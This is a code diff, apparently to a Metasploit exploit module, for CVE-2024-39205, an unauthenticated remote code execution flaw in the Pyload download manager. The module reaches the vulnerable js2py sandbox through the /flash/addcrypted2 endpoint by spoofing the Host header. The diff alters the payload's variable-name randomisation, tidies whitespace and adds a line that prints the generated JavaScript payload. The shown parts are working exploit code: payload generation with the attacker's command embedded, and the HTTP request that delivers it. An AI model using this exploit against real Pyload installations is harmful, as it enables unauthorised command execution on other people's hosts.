@@ -25,7 +25,7 @@ def initialize(info = {})
2525 and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
2626 is the latest version of js2py which was released Nov 6, 2022.
2727
28- CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
28+ CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
2929 download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
3030 it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
3131 This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
@@ -113,10 +113,7 @@ def exploit
113113 end
114114
115115 def javascript_payload ( cmd )
116- keys = %i[ command hacked bymarve n11 getattr obj findpopen result item ]
117- js_vars = keys . each_with_object ( { } ) do |key , hash |
118- hash [ key ] = Rex ::Text . rand_text_alpha ( 8 ..16 )
119- end
116+ js_vars = Rex ::RandomIdentifier ::Generator . new ( { language : :javascript } )
120117
121118 <<~EOS
122119 let #{ js_vars [ :command ] } = "#{ cmd } "
@@ -153,7 +150,7 @@ def javascript_payload(cmd)
153150 def execute_command ( cmd , _opts = { } )
154151 vprint_status ( "Executing command: #{ cmd } " )
155152 crypted_b64 = Rex ::Text . encode_base64 ( rand ( 4 ) )
156-
153+
157154 res = send_request_cgi (
158155 'method' => 'POST' ,
159156 'headers' => {
@@ -170,6 +167,8 @@ def execute_command(cmd, _opts = {})
170167 return if res . nil?
171168 return if res . code == 500 && res . body =~ /Could not decrypt key/
172169
170+ print_status ( javascript_payload ( cmd ) )
171+
173172 fail_with ( Failure ::UnexpectedReply , "The HTTP server replied with a status of #{ res . code } " )
174173 end
175174
0 commit comments